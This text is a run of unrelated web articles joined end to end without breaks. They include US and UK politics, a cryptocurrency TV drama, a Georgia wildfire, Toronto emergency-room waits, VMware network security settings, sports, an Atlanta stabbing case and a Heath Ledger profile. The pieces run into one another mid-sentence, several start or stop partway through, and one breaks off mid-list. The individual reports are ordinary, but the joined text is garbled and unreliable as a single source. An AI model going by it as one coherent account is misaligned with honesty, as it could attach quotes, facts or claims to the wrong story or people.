Pat Brady says it was his responsibility when he served as chairman of the Illinois Republican Party to ensure that his candidates got elected. “If there was a legitimate reason to remove a candidate from the ballot, we tried to do that,” he says.
Given what he sees as extremism in his party and in Democrats, he says there could be room for a viable third party. But he says that reforms, such as redistricting and term limits, could do more to lessen partisanship and extremism.
Dill, the campaign volunteer in Springfield, agrees that ballot access is just one piece of the puzzle.
“Once you get on the ballot, you have to raise enough money to be competitive,” he says.
Illinois Issues is in-depth reporting and analysis that takes you beyond the headlines to provide a deeper understanding of our state.
Illinois Issues is produced by NPR Illinois in Springfield. As someone who values being knowledgeable about Illinois, please support this public radio station by clicking on the "Donate" button at the top of this page. If you're already a supporter, thank you!If, like me, you are a major Bitcoin advocate, you are probably sick and tired of Bitcoin crime sound bites dominating the mainstream news since 2013. If the mainstream gets exposed to Bitcoin at all, it is the underworld of Bitcoin which is exposed, not its industry and innovation. The world of digital currency is getting a makeover this fall as a new television drama is set to focus on digital currency in a way the mainstream has never seen before, and its official premiere is tonight.
Bitcoin Gets a Made-For-TV Makeover
To start with, the concept of the show called “StartUp” is built around the use of digital currency on a business scale. The new currency in the program is known as “GenCoin,” a fictional, uber-secure representation of Bitcoin’s digital currency, which some also think is just as fictional, given its intangible nature. The setting is Miami, Florida, in a downtown neighborhood known as Brickell, and you may not know who the good or bad guys are after a while.
The show looks to cover the pros and cons of the concept according to Brian Stoeckert of Stratis Advisory, a risk management and money-laundering expert who was a consultant on the show. He says the series will look to show a much more nuanced view of how digital currencies work in the real world throughout the series.
"People have heard about digital currency, but they really don't understand how it operates. They just see it in the headlines," Stoeckert told CNBC. "This is one way they can follow a storyline and get a unique perspective on it.”
The cast includes Martin Freeman as FBI Agent Rask, Robin Thomas as the white-collar smuggler Andrew Talman, Edi Gather, who plays the Haitian-Gangster, and Otmara Marrero, who plays Izzy, the cyber hacker and creator of “GenCoin.”
"A significant amount of investment has been poured into digital currencies and there are some scenarios where there is a dark market," Stoeckert said. "Criminals are always on the lookout to move money beyond the traditional way and the show is about mingling all of that together."
Tonight “StartUp” begins a 10-week run on Sony Picture’s streaming entertainment channel Crackle for mainstream viewing, but the first episode was pre-released on Reddit’s /r/Cordcutters almost two weeks ago. This preview has since been removed. Check the Crackle site for more information on the opening episode, which is called “Genesis,” as in Genesis block. You can watch the “StartUp” series trailer below.More than a month after being ignited by lightning, the West Mims fire continues to burn along the Florida-Georgia border. On May 8, 2017, the Enhanced Thematic Mapper Plus (ETM+) on the Landsat 7 satellite captured this image of the wildfire, most of which has burned within the Okefenokee National Wildlife Refuge.
The composite image combines natural color and infrared data. The brown burn scar is clearly visible amid the refuge’s green vegetation. Thermal data show the locations of active fires. Most actively burning areas in this image appear outside of the refuge, near Highway 94 and west of Saint George, Georgia.
According to InciWeb, the burned area grew from 100,500 acres (155 square miles) on May 2 to more than 133,700 acres (209 square miles) on May 8. A closer view of the burn scar is visible in the first photograph below, acquired from aircraft on April 25, 2017.
The second photograph shows smoke in the wildlife refuge on May 2. On that day, smoke was moving southeast and had just reached Jacksonville, Florida. Air quality was rated “moderate” for the city, which means that the air was generally acceptable but could pose a concern for a limited number people, such as those who are sensitive to ozone. The strength and direction of winds has shifted over the fire’s lifetime, changing the air quality impacts in populated areas.
NASA Earth Observatory image by Joshua Stevens, using Landsat data from the U.S. Geological Survey. Photographs courtesy of InciWeb. Story by Kathryn Hansen.Chief Keef may have nabbed 50 Cent and Wiz Khalifa for his new single “Hate Being Sober,” but he reportedly wasn’t able to hang with the guys on the set of his own video.
Last night, Fif took to Twitter to state that the young rapper didn’t show up to the shoot. “I never saw anything like this on the first song,” he wrote. “Its not funny @chiefkeef didn’t sell any records yet,they will pull the plug on him.”
Khalifa and 50 held it down without Keef, later hitting the stage for a joint performance in Las Vegas, Nevada.
Check the tweets below.
@chiefkeef didn’t show up to his own video. I never saw anything like this on the first song. SMSaudio — 50cent (@50cent) November 16, 2012
Its not funny @chiefkeef didn’t sell any records yet,they will pull the plug on him.SMSAUDIO — 50cent (@50cent) November 16, 2012
RELATED: Chief Keef “Finally Rich” Tracklist & Cover ArtOne virtual switch security policy that tends to trip folks up is the idea of rejecting or accepting MAC address Forged Transmits. To simplify the idea behind the policy, a Forged Transmit occurs when a network adapter starts sending out traffic that identifies itself as someone else. This security policy compares the Effective Address of the virtual network adapter and the source address inside of an 802.3 Ethernet frame generated by the virtual machine to make sure they match. If they don’t match, a Forged Transmit has occurred – sometimes this is known as MAC impersonation. If the security policy for Forged Transmits is set to Reject, the frame will be dropped.
The key thing to note about Forged Transmits is that the security policy is only policing the Effective Address of the network adapter, which is the address set by the guest OS. The policy does not compare the virtual machine’s configured MAC address, also called the Initial Address, as that duty is handled by the MAC Address Changes policy.
When Does A Forged Transmit Make Sense?
A common poster child for Forged Transmits is the use of Microsoft’s Network Load Balancing (NLB) unicast mode configuration.
In this scenario, multiple virtual machines are participating in the NLB cluster and all have the same MAC address. Other cases revolve around the concept of utilizing a common MAC address to own a cluster resource when one or more nodes fail. Realistically, you won’t encounter all that many use cases that require Forged Transmits, and the default distributed switch security setting is to Reject any MAC impersonations (the standard switch still Accepts them by default).
Prime Example: Nested Virtualization
A much more common scenario today is the situation where a virtual machine is hosting traffic for a variety of other workloads, such as with a virtual ESXi server running nested virtual guests. In this case, multiple MAC addresses will appear in the Source Address 802.3 field, as each virtual workload hosted by the VM would need to communicate using the virtual ESXi network adapter. You would need to Accept Forged Transmits in order for a nested virtual guest to communicate outside of the virtual ESXi host.
Take this example scenario below. A virtual ESXi VM has been created with a MAC address of “D” (not valid, but pretend it is). The virtual ESXi server is running three nested VMs with a MAC address of A, B, and C. When any of the VMs attempt to talk to the outside network via the virtual ESXi network adapter, the virtual switch will check the source address of the 802.3 Ethernet frame. Because the source address does not match the Effective Address of the virtual ESXi server, the frames will treated like a Forged Transmit and subsequently dropped.
Thoughts
If you’re still stuck on Forged Transmits vs MAC Address Changes, I invite you to read my post on rejecting MAC Address Changes. The two security policies are complimentary and can lend a hand to one another. When used together, MAC Address Changes ensure that the guest OS is unable to modify its Effective Address, and Forged Transmits prohibits the actual 802.3 Ethernet frames from containing any source MAC address other than the Effective Address.FILE PHOTO: Algeiran President Abdelaziz Bouteflika during a swearing-in ceremony in Algiers April 28, 2014. REUTERS/Ramzi Boudina/File Photo
ALGIERS (Reuters) - Algerian President Abdelaziz Bouteflika appeared in a video on Sunday for the first time in a month since his abrupt cancellation of a meeting with German Chancellor Angela Merkel in Algiers triggered speculation over his health.
Since a stroke in 2013, Bouteflika, 80, has appeared rarely in public and usually only in state news images with visiting dignitaries, leaving questions over whether the leader in power for nearly two decades will finish his term.
In a video broadcast on Sunday on state television, Bouteflika was seen receiving his minister of Africa and Arab Affairs. It was his first such appearance since he postponed Merkel’s visit to Algiers on Feb. 20 citing acute bronchitis.
Bouteflika was seen briefly seated at a table with Minister Abdelkader Messahel, who state media reported had briefed him on Sunday on the situation in Mali, Libya and the Sahel.
Ruling FLN party chief and other government supporters have dismissed speculation over Bouteflika’s health since the Merkel cancellation. They say he is carrying out his duties normally.
But the postponement again raised questions about a potential transition from Bouteflika in Algeria, a key supplier of gas to Europe and partner in the Western campaign against Islamist militancy in North Africa.Equipment is accurate as of The Players Championship (5/10/17).
Driver: TaylorMade M1 430 (9.5 degrees)
Shaft: Mitsubishi Rayon Tensei CK Pro Blue 60TX
3 Wood: TaylorMade M2 2016 (15 degrees)
Shaft: Fujikura Speeder 869 Evolution 8.1X
Hybrids: PXG 0317X (17 degrees), TaylorMade M1 2017 (21 degrees), Adams Pro Mini (23 degrees)
Shafts: Fujikura Motore Speeder 8.8HB Tour Spec X-Flex (17 degrees), Graphite Design Tour AD DI-95 Hybrid (21 and 23 degrees)
Irons: Srixon Z765 (4-9 iron)
Shafts: True Temper Dynamic Gold Tour Issue X100
Wedges: Titleist Vokey SM6 (48-08 F Grind), Cleveland Custom RTX 2.0 (54 and 60 degrees),
Shafts: True Temper Dynamic Gold Tour Issue X100 (48 degrees), Nippon N.S. Pro Modus WV115 Tour Only (54 and 60 degrees)
Putter: TaylorMade Spider Limited Itsy Bitsy
WITB Notes: We photographed Hurley III with 16 clubs in his bag at The Players Championship, including a back-up 60-degree Cleveland Custom RTX 2.0 wedge.
Related
See what GolfWRX members are saying about Hurley’s clubs in our forums.Weekly Journal - Stupid, Sexy Encounters
Hi everyone,
The quest system refactoring is in full swing this week, as we migrate everything over to the new systems. This means it’s a bit quiet on the western front, but we have also had time to finish up the Xbox One version of the “Hey there good lookin’ update”, which is making its way out to Xbox One players as we speak. You can read the patch notes here!
Narrative Team
Alex
It’s not something we’ve talked about much, but up till now I’ve been on something like a three-quarters time schedule, which has let me write another game last year (Stories: The Path of Destinies) and a few TV scripts. I’ve been bugging Guillaume to bring me on full time, because this is the best work I’ve ever done, and because I can’t stop thinking about it. I am thrilled to report that not only will I be devoting all my time to the game, we are bringing on a new part time writer, Lisa Hunter. She has started working on the barks for She Who Must Not Be Named, as well as her story missions and cinematics.
Last week finished with three, count them three, recording sessions. We brought back the ineffable Julian Casey to play a slew of bobbies. We recorded about a hundred more things for Arthur to say in various situations. And we recorded more of a Character Who Is Very Important To Arthur.
Every hour of recording represents, I’d guess, a dozen hours writing, prepping, editing and integrating for the team and me.
Soon I will edit Arthur’s final scene, and you can see it... next year.
Meanwhile, I’m working on Arthur’s story missions with David and our increasingly large squad of level designers. We are finally showing the Village islands the love…
Oh, and I’ve written quite a few compliments for the Compliment Machines. I wonder what happens if you reverse their polarity?
Art Team
Sarah
I had a blast making some new PSA posters and Village advertisements this week! Aside from those, it was all UI, baby. I had a nice long discussion about my menu screen mockups with Guillaume and Matt, where we covered a range of aesthetic/functionality Dos and Don'ts. Dos included "do continue to use contrasting shapes and minimalist mid-century graphic design." Don'ts included, but were not limited to, "please don't use that font, my eyes are bleeding," or "I see what you're trying to do here, but please just don't -- my eyes, Sarah. Bleeding." I may be paraphrasing a little, but you get the picture. Having open communication is key to delivering the best possible design, and every "please do" and "good God don't" brings us one step closer to a finalized design that we can all be proud of. Lucky for us, we also have the wonderful Morgan in the office this week to help steer the next phase of the UI functionality, and contribute even more deeply valued feedback.
All that being said, I'm still going to withhold those UI mockups until they are safe* to share with you, and share some of those safety PSAs instead. With so many dangers (allegedly) linked with handling and distributing Motilene, we here at Compulsion Games have made it a priority that the Wellies remember to equip themselves with the necessary safety equipment, should the wonder fuel of the future happen to leak onto their faces or whatever. Safety first, kids.
*Please refer to Guillaume's bleeding eyes
Design Team
Adam
Hello all! I’m the newest member of the level design team this week. Over the past 5 days, I have been re-working one of the quests into the “new quest system” which makes things a LOT easier on us… But I also felt like updating the layout of the land as well, so here is an image of the new & improved “If you give a pig a pancake”.
It’s been fun banging my head against the desk figuring out the ins and outs of Unreal 4.
Mike
Hey guys! This week I worked with the animators on polishing existing character driven encounters (like A Terrible Life, Walkabout, Mushroom Logs...) New underground level:
This is going to exist somewhere under the Village. You can find some good loot in there if you keep your eyes open ;) … Just make sure you’re not in the water when the electricity turns on! Take care everybody!
Vince
This week was mostly re-scripting encounters over to the new quest system, and while I was on that, I also added some functionality and/or events to a few encounters that we felt could be improved, so there will be a few surprises here and there when you play those encounters again :)
Besides that, I also tweaked a few things in the Village Houses while Marc-André is updating the art for them, making sure they are still functional and ready for our next update!
Animation Team
Vincent
This week has been mostly about encounters! Yes, the encounter boat finally landed on the animation shores, so expect to (hopefully) enjoy some enhanced realization soon! Marc & Matt have been working hard lately to provide tools to help us make those tasks less complicated for our tiny animator brains. Hopefully we’ll manage!
Part of the work is reviewing all the quests and finding what to improve, and how… and if we can find clever ways to make some of the animations reusable, well… Optimisation, j’écris ton nom, as Paul said. I think.
Thanks for tuning in!
Compulsion Games
Discuss this post hereEmergency rooms across Greater Toronto are failing to meet acceptable wait times for patients to see a doctor in critical cases, the Star has learned. Only about 10 per cent of emergency room patients in the Toronto-area health networks deemed to be at the second-highest priority level — conditions such as a severe asthma attack or drug overdose — were seen by a doctor within the recommended time frame of 15 minutes, according to data for the 2014-2015 fiscal year obtained by the Star from the Canadian Institute for Health Information.
Patients on average wait much long in emergency rooms than their own doctors have suggested as ideal, especially those deemed to be at Level 2 in a five-level triage system. ( MELISSA RENWICK / TORONTO STAR )
In Ontario, triage nurses are mandated to use the five-tiered Canadian Triage and Acuity Scale (CTAS) as a tool to prioritize patients’ needs. Patients with life-threatening conditions — triage level 1 — are to be seen by a doctor immediately. According to the guidelines, levels 2 through 5 are assigned time frames ranging from 15 minutes to two hours. Data for level 1 patients was not available because the “immediate” time frame is not defined in minutes. The CTAS wait times were established 18 years ago by the Canadian Association of Emergency Physicians, based on what emergency experts would want for themselves and their family. The guidelines are updated every two years. “The basic issue here is that, given the state of crowding, the CTAS time intervals are not being met,” said Dr. Alan Drummond, a former head of the Canadian Association of Emergency Physicians. “That should be no surprise.”
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Some of the top emergency room doctors are distancing themselves from the guidelines, which they describe as “ideal” and “unrealistic,” while others argue their inability to meet them signals a need for fundamental change in the health-care system. Lawyer Amani Oakley argues CTAS exists so patients, no matter how busy an ER, can be properly prioritized and seen by a doctor within a safe period of time. She represents a woman suing a Mississauga hospital for negligence after a client lost parts of her fingers and toes following an extended wait in the ER.
Dr. Howard Ovens supports the idea that hospitals across Canada should adopt a median target wait time of one hour for all patients. ( RICHARD LAUTENS )
“If a patient needs to be seen in 15 minutes and doesn’t get seen for half an hour, that may be understandable,” she said. “But if you’ve got an illness that needs treatment in 15 minutes, and you don’t see a doctor for hours and hours, you’re obviously at a very high risk of having your condition worsen, with terrible consequences, including death.” The Star’s findings show little progress has been made in shortening the time it takes to first see an ER physiciansince the release of a damning 2010 report by auditor general Jim McCarter. His in-depth look at three hospital ERs, two of them in the Greater Toronto Area. found that level 2 and 3 patients sometimes waited for more than six hours after triage before being seen by an ER doctor instead of the recommended 15 to 30 minutes.
Although ER physician assessment times in Ontario’s 128 hospitals are reported monthly to the health ministry, the statistic is not published on the province’s emergency room wait times website. Dr. Howard Ovens, chair of the provincial emergency care expert panel, stressed that although CTAS is useful for categorizing patients, the times are not targets but “aspirational goals.”
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Ovens supports the position of the emergency doctors’ association that hospitals across Canada should adopt a median target wait time of one hour for all patients. Toronto’s Lorena Reinoso is suing Mississauga’s Credit Valley Hospital, doctors and some emergency room staff for at least $2 million, claiming the wait was a key factor in what became a seven-month medical ordeal. Reinoso says she was warned by a specialist to visit the ER if her serious eye infection worsened. So, at 3:30 a.m. on Dec. 24, 2007, Reinoso checked into Credit Valley, according to a statement of claim she filed in Ontario Superior Court. According to the claim, Reinoso complained of a fever and swollen right eye, looked pale and felt on the verge of fainting. A triage nurse assessed her as a level 2. Despite a recommended wait time of 15 minutes, hospital records filed in court show she waited 4.5 hours to be seen by a doctor. Her lawsuit alleges this delay was a key hospital failure that resulted in the development of septic shock, respiratory arrest, multi-organ failure and gangrene. She required three separate amputations. Doctors cut off her toes, parts of her feet and the ends of fingers on both hands.
Lorena Reinoso lost parts of her hands and feet after she entered the hospital with a severe infection and wasn't seen by a doctor for more than four hours
In its statement of defence, the hospital denies the allegations and states that “at all material times it provided reasonable hospital and nursing care to (Reinoso) in accordance with accepted hospital and nursing standards.” The hospital denies “there was any breach of duty, want of care or negligence on its part or … its employees” and asks for the lawsuit to be dismissed with costs. A trial date has not yet been set. “Have you ever seen museum displays of (Egyptian) mummies?” Reinoso told the Star in an interview. “Those were my hands, my feet … they had turned dark, dried and black, and the nails … they were so white.” At 52, she says, she uses a cane to walk, no longer works, and has trouble doing simple tasks, such as brushing her teeth or doing up a button. “I’m not the type who stays at home; I’ve never been on social assistance … I was a proud person,” she said in an interview, her eyes welling with tears. “Now, I depend on others.” “She had an infection. It should have been recognized and treated right away,” said Oakley, her lawyer, who specializes in medical malpractice law. Ontario was one of the first provinces to mandate that emergency departments adopt the CTAS system. That was in 1999, a year after the death of Kyle Martyn, a 5-year-old who died after waiting three hours for a doctor in a crowded emergency room at Credit Valley Hospital. Ovens, director of the Mount Sinai Hospital emergency centre, argues that the Star’s data doesn’t account for when, or how often, a nurse provides care ahead of the doctor’s first contact with a patient. In Reinoso’s case, hospital records filed in court show she was visited by a nurse once during the 4.5 hours she waited for a physician. According to the guidelines, she should have been seen by a nurse 12 times in that time period. In an emailed statement, a Ministry of Health spokesperson said the province is investing $94.5 million in 2015-2016 in the Pay for Results program. High-volume emergency departments are ranked and scored against their peers on five indicators to earn funding through the program, one being the time it takes a doctor to see a patient. The province also said it continues to work with Local Health Integration Networks (LHINs) “to ensure hospitals are providing the right care, to the right person, at the right time.” While Ontario has invested hundreds of millions of dollars in reducing the overall time patients spend in the ER over the past six years,Drummond warns the province still has a long way to go. Four high-profile deaths that raised awareness or led to changes in emergency care in Canada. Kyle |
the recess appointments, declared the appointments unconstitutional, and are now castigating Democrats for changing the rules to get those nominees confirmed. And it’s not that these people are unqualified or unsuited to the position. The sole reason for obstruction is that the GOP just doesn’t like the agencies.
Yes, vigorous opposition is an important part of a democracy. Eventually, however, opposition has to give way to governing. And in both chambers of Congress, Republicans refuse to govern, opting instead to wage scorched earth campaigns against laws they couldn’t stop (see: Obamacare).
This is no way to run a country, and for that reason, Reid should follow through on his threat to end the filibuster on executive branch nominees. If afterwards, Republicans are still hell bent on repealing the CFPB and weakening the NLRB, then they’ll have to try a different approach: Actually winning elections.Home Office says it is discussing plan to bolster Border Force with scheme similar to police use of special constables
Volunteers could be deployed to help plug gaps in the UK’s Border Force, which has undergone drastic cuts under successive Conservative-led governments.
The plan, similar to the use of special constables in the police, is being considered in Whitehall. Critics, however, say doing so would be risky and caution against using a “Dad’s Army” to guard Britain’s frontiers.
Under the proposal, teams of volunteers would be used to bolster staffing levels at the Border Force, which manages immigration and customs controls. The government stressed that involving volunteers in immigration enforcement was not under discussion.
Concerns have been raised in recent years about the coverage of dozens of minor harbours and landing places in the UK. “Small ports and airfields are a known security weakness in our border security, so it’s important to ensure that security is stepped up, particularly to stop illegal immigrants and returning Isis fighters,” said Charlie Elphicke, the MP for Dover.
But he told the Mail on Sunday: “Border security is a skilled job, which takes many years of training. I would urge great caution before seeking to adopt a model like that used by the police, with special constables. We can’t have a Dad’s Army-type of set-up.”
Yvette Cooper, the Labour MP who chairs the parliamentary home affairs select committee, told the paper: “Filling the gaps with volunteers because of budget and staffing cuts raises very serious questions about border security and the Home Office commitment to this important public service.”
Mark Serwotka, the general secretary of the PCS union, which represents many of the Border Force’s 8,000 staff, expressed concern about the plan and accused the government of “making our borders weaker with the use of casual labour”. He said it was “risking this country’s security on the cheap”.
“In the last year, the Home Office have increased the use of agency staff, spending a staggering £25m last year to agency firms, a £5m increase on the previous year,” he said.
“Border Force are already using poorly trained seasonal workers at most ports and airports, not just at peak periods but throughout the year because of permanent staff cuts. The plans to use volunteer Border Force specials is a further move towards casualisation of the workforce.
“Government rhetoric has claimed that they are ‘strong and stable’. That is not the effect of their policies on this country.”
An inspection published earlier this year of 62 ports, wharves, marinas and jetties on the east coast that were normally unmanned found Border Force officers had not been to 27 of the sites during the 15 months from April 2015 to June 2016.
The assessment said one of the risks of long periods of non-attendance was that there was “no visible deterrent to anyone prepared to risk using these spots to land illegal migrants or contraband”.
In a separate report, the former independent reviewer of terrorism legislation David Anderson QC also flagged up coverage of smaller south and east coast ports, marinas and landing places, saying it was conceivable they might be an option for returning foreign fighters or other terrorists.
The Home Office said the Border Force had a good record and that the government was committed to ensuring that it had the necessary resources. “We will never compromise the security of our borders,” a spokesman said.
“Border Force is currently considering the potential benefits of a special volunteer force, and is in discussions with other law enforcement agencies such as local police to understand how they use volunteers in addition to their existing workforce.”Dagenham & Redbridge assistant Darren Currie proud of squad after Dover Athletic win
Tyrone Sterling of Dover Athletic and Corey Whitely of Dagenham & Redbridge (pic: David Simpson/TGS Photo) ©TGS Photo tgsphoto.co.uk +44 1376 553468
Daggers coach praises team for bouncing back after home woe
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Dagenham & Redbridge assistant manager Darren Currie praised the squad for bouncing back from two losses at home to win 2-1 at Dover Athletic.
Daggers had lost to both Barrow and Torquay United at Victoria Road in the past week, but first-half goals from Jordan Maguire-Drew and Paul Benson set them on their way on the coast.
Though Ricky Miller struck late on for the Whites, it wasn’t to deny the Essex club all three points, and Currie was proud of the club’s display.
“We were outstanding all over the pitch. What makes it even more pleasing is it came off the back of two disappointing performances and results,” he said.
“We got our third win on the trot away from home, showed some real steel when we needed to in protecting our goal and could have had a few more goals on the counter attack.
“The work ethic and our desire to get back on track after two disappointing results was outstanding.”
Benson was not the only 30-something to shine for Daggers, with Luke Guttridge and Andre Boucaud excelling in midfield.
And Currie was delighted the duo’s experience shone through as the Essex club moved back into the play-off places.
“As much as you want energy, fight and ability with the ball, the middle of the park is a good area to have the experience we did today,” he added.
“They know how to manage each other, themselves and the game. When you’re playing two experienced boys in there, you can almost let them get on with the game because they know the job.”JEFFERSON CITY, Mo. – “Government has a responsibility to assist people in these hard economic times,” former United Auto Workers member Clem Smith told a crowd of about 150 protesters on the state Capitol steps here March 4.
Smith, now a machinist employed at Boeing, knows first-hand the positive role government can play in creating job opportunities for the unemployed.
In May 2009, like thousands of other Missouri Chrysler employees, Smith was laid off.
“After 13 years of loyal service,” he told the People’s World, “I was unemployed. I looked for a job. I got my resume in order. But there were no jobs.”
Fortunately for Smith, he was able to get into a state-funded training program run by St. Louis Community College that “allowed my auto work experience to translate into aerospace work.”
After being accepted into the jobs training program, Smith attended 10 weeks of training at the St. Louis Career Center.
“It is precisely these types of government-funded training programs that can help the dislocated, the under-employed and the unemployed get back to work,” Smith said. “It is precisely these types of programs that can provide the jobs that can get our economy back on track, not corporate bailouts.”
Unfortunately, Rex Sinquefield, a retired multi-millionaire investment banker, wants to do away with state-funded programs by getting rid of Missouri’s income tax.
Missouri uses income taxes to pay for vital public services. Everything from health care, to education and training programs, to public transportation, to the fire and police departments relies on income taxes.
While using his personal wealth to buy influence in the state legislature, Sinquefield is also the main funder of a statewide ballot initiative to eliminate income taxes in Missouri’s largest cities. He wants to replace the income tax with increased sales taxes, a regressive tax disproportionatey affecting low-income, cash-strapped communities.
Robin Acree, from rural Missouri-based Grass Roots Organizing (GRO), told the crowd, “We need the lawmakers to work for us, not millionaires. We need jobs, infrastructure and health care, not tax cuts for the rich.”
“This is the Show-Me State,” she continued. “Show us some real results!”
Jennifer Whittler, a single mother from Mexico, Mo., works full time and goes to school. She has no health care. She asked, “Where’s my bailout?”
“I couldn’t afford to keep working, stay in school and care for my daughter without relying on my parents for a place to live. I work hard and I still can’t make it in this economy,” Whittler added.
Pointing to the Capitol dome, she continued, “They are trying to cut social service programs by eliminating the income tax. All they care about are the people with the money, the people lining their pockets.”
Bradley Harmon, president of the Missouri State Workers union, told the crowd, “We need to make the people in this building feel uncomfortable. It is time for us to be serious about making corporations pay their fair share. It is time for us to have an economy that works for working people.”
Harmon’s union represents the state workers at the Department of Social Services, Youth Services and the unemployment offices. As budget cuts continue to worsen not only are state workers facing lay-ffs, but the people they service also face longer lines, more waiting and less access to vital public services.
Brenda Procter, a co-founder of GRO, discussed the need to raise revenue in the state by closing corporate tax loopholes.
“Moms pay taxes on diapers, but rich people pay no taxes on yachts. Is that fair?” she asked. “Is that right?”
Procter was referring to the state’s yacht sales tax exemption, a loophole designed to give the rich a free ride.
To generate revenue Procter suggested that Missourians “reform our tax structure. Currently, if I make $9,000 or $900,000 I pay the same tax rate.”
“We need solutions besides cutting social services,” she added.
Following the rally, protesters went to a Sinquefield-financed consulting office to deliver demands that Sinquefield resign from the Show-Me Institute, a Missouri-based right-wing think tank.
“We’re tired of Sinquefield’s shenanigans and radical experiments with Missouri’s future,” Acree said.
“We won’t rest until Rex and his corporate cronies take their hands off our government, our democracy and start paying their fair share,” she concluded.
Updated. An earlier version of this article incorrectly identified Brenda Procter’s affiliation.The pathetic joke known as the U.N. rolls on unabated.
Via The Hill:
United Nations-affiliated election monitors from Europe and central Asia will be at polling places around the U.S. looking for voter suppression activities by conservative groups, a concern raised by civil rights groups during a meeting this week. The intervention has drawn criticism from a prominent conservative-leaning group combating election fraud.
The Organization for Security and Cooperation in Europe (OSCE), a United Nations partner on democratization and human rights projects, will deploy 44 observers around the county on Election Day to monitor an array of activities, including potential disputes at polling places.
Liberal-leaning civil rights groups met with representatives from the OSCE this week to raise their fears about what they say are systematic efforts to suppress minority voters likely to vote for President Obama.
The Leadership Conference on Civil and Human Rights, the NAACP and the ACLU, among other groups, warned this month in a letter to Daan Everts, a senior official with OSCE, of “a coordinated political effort to disenfranchise millions of Americans — particularly traditionally disenfranchised groups like minorities.”So I signed up for this exchange mostly for my good friend's daughter. She loves MLP, and since I love it too, what better way to experience the joy of it than to be the middle man between gifts, right?
My SS is awesome - I explained the situation to them and they were meticulous about getting her a great gift that they were sure she didn't have.
Thank you so much for putting the biggest smile on this little girl's face! We received the gift on Friday, 05/15/15 and her mother and I ( work at the same office ) seriously fought the desire to open the box ourselves! We practiced self control and her little girl was quick to tear into it when they got home.
Today, Monday 05/18/15 her class is allowing the kids to bring one toy from home to play with in class and there was absolutely no hesitation at all from her - this is what she wanted to bring!
SS, you're wonderful. :)Atlanta police investigate if queer stabbing suspect was also victim in New Year’s fray
Atlanta police investigate if queer stabbing suspect was also victim in New Year’s fray
At his first hearing before a magistrate judge after he was arrested, O’Donovan was denied bond.
O’Donovan has not spoken to officers with the Atlanta Police Department about his case, Pines said.
“It is my understanding a separate detective has been assigned to investigate this case with Luke being the victim, which he was in this case,” Pines said. “He had at least five people attacking him.”
Officer Kim Jones, spokesperson for APD, confirmed today a detective is working on whether O’Donovan was a victim in the incident. Police also continue to investigate the case with O’Donovan as the defendant.
Pines said it is not useful for O’Donovan to speak to an officer through a pane of glass at the jail and that if O’Donovan is released on bail Wednesday he will cooperate with police in their investigations.
Town hall held to ‘Let Luke Go’
On Sunday, Jan. 13, a group of some 50 people met at the Little Five Points Community Center in a town hall setting to discuss how to support O’Donovan.
His friends and supporters, who have named themselves the Support Luke Defense Committee and started a website letlukego.com, have called the incident a “queerbashing.” They have also set up an account seeking donations to help pay for O’Donovan’s legal fund. As of today, the group has raised $3,688.
They maintain that O’Donovan was defending himself from a group of homophobic men who were angered by him dancing with and kissing men at the New Year’s party held at 239 Gibson St. in Reynoldstown.
In a statement read at the start of the town hall by Aroara Thunder, a drag personality who organized the meeting and is a friend of O’Donovan, said O’Donovan was defending himself.
“Our understanding of the events of Jan. 1 is that Luke was seen kissing men during a party, was called homophobic slurs by multiple people who are known to have a history of homophobic behavior, and was attacked later that night during the party by these same individuals. He sustained injuries from being kicked, punched and stabbed in the upper back at least once. Any injuries that the attackers may have received were due to Luke defending himself,” the statement reads.
The press release issued also states, “Luke is queer, which means he refuses a stable sexual identity.” However, O’Donovan does have a girlfriend.
“We have used the word ‘queerbashing’ to describe this incident because our understanding is that Luke was attacked because he was seen kissing other men. We believe that attacking anyone because of their sexual expression is unacceptable,” the statement reads.
An Atlanta Police report released Jan. 3 states that witnesses told officers a fight broke out among five or six men on Jan. 1 “over a discussion regarding sexuality.”
“All witnesses stated they observed a group of five to six males fighting in the back yard of 239 Gibson St. SE over a discussion regarding sexuality. The fight quickly escalated when the suspect, Mr. Luke O’Donovan pulled out a knife. Witnesses said that the victims were attempting to stop Mr. O’Donovan when they were stabbed,” the APD report states. The department’s two LGBT liaisons are aware of the case.
The police report lists victims as Kevin Ralph, 25, who received a stab wound to the thigh; Brett Hammett, 22, with a “trunk internal” stab wound; and Blake Love, 21, with a stab wound to his wrist.
O’Donovan was described in the police report as having “multiple stab wounds to his upper back.”
O’Donovan’s friends: ‘We feel unsafe’
Seated in a circle at the Little Five Points Community Center, the friends and supporters of O’Donovan tried to come up with strategies to put an end to homophobic attacks. A rally is set for Tuesday, Jan. 15, at 6 p.m. at the East Atlanta Farmer’s Market.
“This is really fucking scary, y’all,” said Aroara Thunder, who asked his drag name be used. “I was supposed to be at that party but my boyfriend wanted to do something else.
“When I found out that a lot of my friends were there, it became really real…and it’s really terrifying. I’m still processing what this means to be a queer in Atlanta and this can still happen,” he said.
Another person who said he was at the party said it was sad that O’Donovan was alone when the incident took place.
“It reminded me you can’t go places alone. I can’t help but feel that this happened when Luke was alone and not with any of his friends. I haven’t been able to go anywhere alone,” he said.
Marina Scholtz, 18, a friend of O’Donovan’s, said perhaps what happened to him could be a starting point to create a support system of traveling in groups.
“We are all saying we feel unsafe … Luke could be the starting point for us,” she said.
Other suggestions included posting signs and posters in places where people gather to let everyone know homophobia is not tolerated in these spaces.
Photos: Top photoL Luke O’Donovan (via letlukego.com). Second photo, Aroara Thunder (left), who organized Sunday’s town hall and is a friend of O’Donovan; bottom photo, Marina Scholtz (far right), friend of O’Donovan, at town hall. (Photos by Dyana Bagby)The screen’s latest Australian, Heath Ledger, his head hidden beneath a medieval knight’s helmet and visor, his body bolted into plate armor, sits atop his steed in the blistering sun here on the back lot of Barrandov Studios in the hills above Prague. Barrandov was built by the family of Czech president Václav Havel in the 1930s, and its sad and illustrious history includes its utilization by German propagandist director Leni Riefenstahl during World War II. Today it is often rented by American producers, enticed here as much for budgetary concerns as aesthetic ones. A Knight’s Tale, budgeted at around $45 million, would have cost Columbia Pictures twice that if it had been made on a lot in Hollywood. Ledger is no cut-rate talent, however, having crossed over into the million-dollar-per-film category. “He’s the real thing,” says Amy Pascal, chairman of Columbia Pictures. Bowled over by the dailies she saw of his performance as Mel Gibson’s son in The Patriot, she gambled that audiences would be clamoring to see more of the 21-year-old swashbuckler, and signed off on him for the starring role in A Knight’s Tale—suggested by one of the stories in Chaucer’s Canterbury Tales—over many bigger names who were campaigning for the part. Brian Helgeland, who won a screenwriting Oscar along with Curtis Hanson for L.A. Confidential, is *A Knight’s Tale’*s writer and director. “When Heath smiles, it’s Errol Flynn,” says Helgeland, summing up much of newcomer Ledger’s 